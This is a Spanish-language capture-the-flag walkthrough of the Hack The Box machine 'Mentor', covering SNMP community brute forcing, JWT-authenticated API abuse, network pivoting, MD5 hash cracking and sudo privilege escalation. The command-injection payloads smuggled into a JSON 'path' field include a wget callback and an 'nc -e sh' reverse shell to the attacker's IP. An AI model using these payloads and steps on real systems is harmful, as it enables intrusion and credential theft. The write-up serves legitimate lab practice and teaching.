Descripción
Mentor es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de Subdominios para descubrir un dominio de API
- Descubrimiento del puntos finaesl del dominio de API
- Enumeración SNMP para descubrir la cadena de comunidad y credenciales
- Inyección de comandos en la API para obtener una terminal en un contenedor Docker
- Escape del contenedor Docker utilizando las credenciales de la base de datos Postgres
- Escalada de privilegios utilizando credenciales filtradas en el archivo de configuración del servidor SNMP
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.193.
$ ping -c 3 10.10.11.193
PING 10.10.11.193 (10.10.11.193) 56(84) bytes of data.
64 bytes from 10.10.11.193: icmp_seq=1 ttl=63 time=48.2 ms
64 bytes from 10.10.11.193: icmp_seq=2 ttl=63 time=48.2 ms
64 bytes from 10.10.11.193: icmp_seq=3 ttl=63 time=47.6 ms
--- 10.10.11.193 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.623/47.988/48.188/0.258 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.193 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.193
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con versión de servicio y scripts.
$ nmap 10.10.11.193 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.193
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio mentorquotes.htb al archivo /etc/hosts.
$ echo '10.10.11.193 mentorquotes.htb' | sudo tee -a /etc/hosts
Hacemos enumeración de puertos UDP.
$ sudo nmap 10.10.11.193 -sU -oN nmap_scan_udp
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.048s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
$ sudo nmap 10.10.11.193 -p161 -sU -sV -sC -oN nmap_scan_udp
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
|_ System uptime: 2h22m15.53s (853553 timeticks)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: a124f60a99b99c6200000000
| snmpEngineBoots: 67
|_ snmpEngineTime: 2h22m15s
Service Info: Host: mentor
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
Encontramos un puerto SNMP abierto, lo cual nos da información sobre la versión del kernel utilizado en el sistema, 5.15.0-56. Moviendo al servidor web, encontramos un sitio web sobre citas. No encontramos nada útil en este servicio.
Descubrimos los subdominios del servidor HTTP.
$ gobuster vhost -u mentorquotes.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://mentorquotes.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
api.mentorquotes.htb Status: 404 [Size: 22]
Encontramos el subdominio api. Añadimos a /etc/hosts y enumeramos sus endpoints, ya que solo obtenemos una respuesta 404 Not Found.
$ echo '10.10.11.193 api.mentorquotes.htb' | sudo tee -a /etc/hosts
$ gobuster dir -u 'http://api.mentorquotes.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api.mentorquotes.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/admin/]
/docs (Status: 200) [Size: 969]
/quotes (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/quotes/]
/server-status (Status: 403) [Size: 285]
/users (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/users/]
Encontramos los endpoints /admin, /docs, /quotes, server-status y /users. Podemos recuperar la documentación Swagger en el endpoint /docs para obtener los métodos soportados y también descubrimos la capacidad de autenticación con los endpoints /auth/login y /auth/signup. También encontramos una mención al usuario james.
Vamos a intentar crear una nueva cuenta, iniciar sesión y luego acceder al endpoint de administración, /admin.
$ curl --header 'Content-Type: application/json' --data '{"email":"user@mentorquotes.htb","username":"userhtb","password":"12345678"}' 'http://api.mentorquotes.htb/auth/signup'
{"id":4,"email":"user@mentorquotes.htb","username":"userhtb"}
$ curl --header 'Content-Type: application/json' --data '{"email":"user@mentorquotes.htb","username":"userhtb","password":"12345678"}' 'http://api.mentorquotes.htb/auth/login'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXJodGIiLCJlbWFpbCI6InVzZXJAbWVudG9ycXVvdGVzLmh0YiJ9.lcOFiH2Jik0Welhf07_69FPx4ofv5o4KRzFZWuQtIz8"
$ curl --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXJodGIiLCJlbWFpbCI6InVzZXJAbWVudG9ycXVvdGVzLmh0YiJ9.lcOFiH2Jik0Welhf07_69FPx4ofv5o4KRzFZWuQtIz8' 'http://api.mentorquotes.htb/admin/'
{"detail":"Only admin users can access this resource"}
Encontramos que como no somos un usuario administrador, no podemos acceder a este recurso. Regresamos al servicio SNMP, intentando usar la cadena de comunidad public para enumerar todo.
$ snmpbulkwalk -Oa -c public -v2c mentorquotes.htb
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (982242) 2:43:42.42
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
Encontramos al usuario admin, con la dirección de correo electrónico admin@mentorquotes.htb. Vamos a realizar un ataque de fuerza bruta contra otras cadenas de comunidad.
$ nmap 10.10.11.193 -sU -sV -sC --script=snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt,snmp.version=1 -p161
Starting Nmap 7.95 ( https://nmap.org )
Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.75% done; ETC: 23:22 (0:00:10 remaining)
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: a124f60a99b99c6200000000
| snmpEngineBoots: 67
|_ snmpEngineTime: 2h54m17s
| snmp-brute:
| public - Valid credentials
|_ internal - Valid credentials
Service Info: Host: mentor
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.01 seconds
Encontramos la cadena de comunidad internal en SNMP versión 2. Enumeramos.
$ snmpbulkwalk -Oa -c internal -v2c mentorquotes.htb
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1066877) 2:57:48.77
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
...
iso.3.6.1.2.1.25.4.2.1.5.2133 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
...
Encontramos los procesos en ejecución, uno de ellos es /usr/local/bin/login.py con un argumento que parece una contraseña, kj23sadkj123as0-d213. Podemos iniciar sesión en el servicio API con el nombre de usuario james y la contraseña. Ahora podemos utilizar los servicios de administración.
$ curl --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/'
{"admin_funcs":{"check db connection":"/check","backup the application":"/backup"}}
Podemos comprobar la conexión a la base de datos usando el endpoint /check y crear una copia de seguridad de la aplicación con el endpoint /backup.
$ curl --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/'
{"admin_funcs":{"check db connection":"/check","backup the application":"/backup"}}
$ curl --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/check'
{"details":"Not implemented yet!"}
$ curl --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/backup'
{"detail":"Method Not Allowed"}%
$ curl --header 'Content-Type: application/json' --data '{}' --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/backup'
{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}
$ curl --header 'Content-Type: application/json' --data '{"path":"/"}' --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/backup'
{"INFO":"Done!"}
El primer endpoint no funciona. El endpoint de copia de seguridad permite una solicitud POST HTTP con una clave path en la cadena JSON según se indica en los mensajes de error. Este parámetro podría estar vulnerable a inyección de comandos.
Explotación
Vamos a comprobar si el endpoint es vulnerable inyectando un comando que creará una solicitud HTTP desde el servidor hacia nuestro servidor HTTP con la herramienta wget y la ruta /;wget 10.10.14.16#.
$ curl --header 'Content-Type: application/json' --data '{"path":"/;wget 10.10.14.16 #"}' --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/backup'
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.193 - - code 404, message File not found
10.10.11.193 - - "GET //app_backkup.tar HTTP/1.1" 404 -
Recibimos una solicitud del archivo app_backkup.tar. Vamos a desplegar una terminal inversa con el comando nc 10.10.14.16 1234 -e bash en la máquina remota y un puerto de escucha en nuestra máquina nc -nvlp 1234. Recibimos una terminal como usuario www, la actualizamos.
$ curl --header 'Content-Type: application/json' --data '{"path":"/;nc 10.10.14.16 1234 -e sh #"}' --header 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' 'http://api.mentorquotes.htb/admin/backup'
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.193] 46347
sh -i
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Recibimos una terminal como el usuario root. Pero encontramos que estamos dentro de un contenedor Docker, debido al nombre de host.
/app # env
HOSTNAME=7edcc15baf28
WORK_DIR=/app/
PYTHON_PIP_VERSION=19.3.1
SHLVL=3
HOME=/home/svc
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca0/get-pip.py
PATH=/home/svc/.local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ADMIN_USER=james
ADMIN_EMAIL=james@mentorquotes.htb
LANG=C.UTF-8
SECRET=76dsf761g31276hjgsdkahuyt123
PYTHON_VERSION=3.6.9
PWD=/app
PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4f10ef6b2dbfa7a872fbff70608a1e43944d283fd0eee
En el archivo app/db.py encontramos las credenciales de la base de datos PostgreSQL: usuario postgres, contraseña postgres y nombre de la base de datos mentorquotes_db, en la dirección IP 172.22.0.1.
/app # cat app/db.py
import os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
...
No podemos conectar a la base de datos desde el contenedor Docker, por lo que necesitamos pivotar a la subred Docker, 172.22.0.3/16. Vamos a usar la herramienta ligolo-ng. En nuestra máquina:
$ sudo ligolo-proxy -selfcert
...
INFO[0002] Listening on 0.0.0.0:11601
...
ligolo-ng » INFO[0008] Agent joined. id=0242ac160003 name=root@7edcc15baf28 remote="10.10.11.193:36348"
ligolo-ng » session
? Specify a session : 1 - root@7edcc15baf28 - 10.10.11.193:36348 - 0242ac160003
[Agent : root@7edcc15baf28] » autoroute
? Select routes to add: 172.22.0.3/16
? Create a new interface or use an existing one? Create a new interface
INFO[0026] Generating a random interface name...
INFO[0026] Using interface name daringcalamity
INFO[0026] Creating routes for daringcalamity...
? Start the tunnel? Yes
INFO[0028] Starting tunnel to root@7edcc15baf28 (0242ac160003)
Y en la máquina remota:
/app # ./ligolo-ng_agent_0.8.2_linux_amd64 -ignore-cert -connect 10.10.14.16:11601
Enumeramos la base de datos desde nuestra máquina y obtenemos los usuarios y las hashes de contraseñas en formato MD5.
$ psql -h 172.22.0.1 -U postgres mentorquotes_db
Contraseña para usuario postgres:
psql (17.5 (Debian 17.5-1), servidor 13.7 (Debian 13.7-1.pgdg110+1))
Digite «help» para obtener ayuda.
mentorquotes_db=# \dt
Listado de relaciones
Esquema | Nombre | Tipo | Dueño
---------+----------+-------+----------
public | cmd_exec | tabla | postgres
public | quotes | tabla | postgres
public | users | tabla | postgres
(3 filas)
mentorquotes_db=# select * from users;
id | email | username | password
----+------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
4 | user@mentorquotes.htb | userhtb | 25d55ad283aa400af464c76d713c07ad
(3 filas)
Rompemos los hashes para recuperar la contraseña de los usuarios.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
123meunomeeivani (service_acc)
1g 0:00:00:02 DONE 0.4608g/s 6609Kp/s 6609Kc/s 12750KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Recuperamos la contraseña para la cuenta service_acc, 123meunomeeivani. Después de algunos intentos, podemos iniciar sesión en la máquina con el usuario svc utilizando el protocolo SSH.
$ ssh svc@mentorquotes.htb
svc@mentorquotes.htb's password:
...
svc@mentor:~$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
Post-Explotación
Encontramos en el sistema los usuarios de consola: root, svc y james.
svc@mentor:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
svc:x:1001:1001:,,,:/home/svc:/bin/bash
james:x:1000:1000:,,,:/home/james:/bin/bash
fwupd-refresh:x:115:122:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
Encontramos una contraseña en el archivo /etc/snmp/snmpd.conf, SuperSecurePassword123__. Esa es la contraseña para el usuario james.
svc@mentor:~$ su james
Password:
james@mentor:/home/svc$ cd
james@mentor:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
El usuario james puede ejecutar el comando sh como usuario root, por lo que podemos desplegar fácilmente una terminal root.
james@mentor:~$ sudo sh -i
# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
# cat /home/svc/user.txt
<REDACTED>
# cat /root/root.txt
<REDACTED>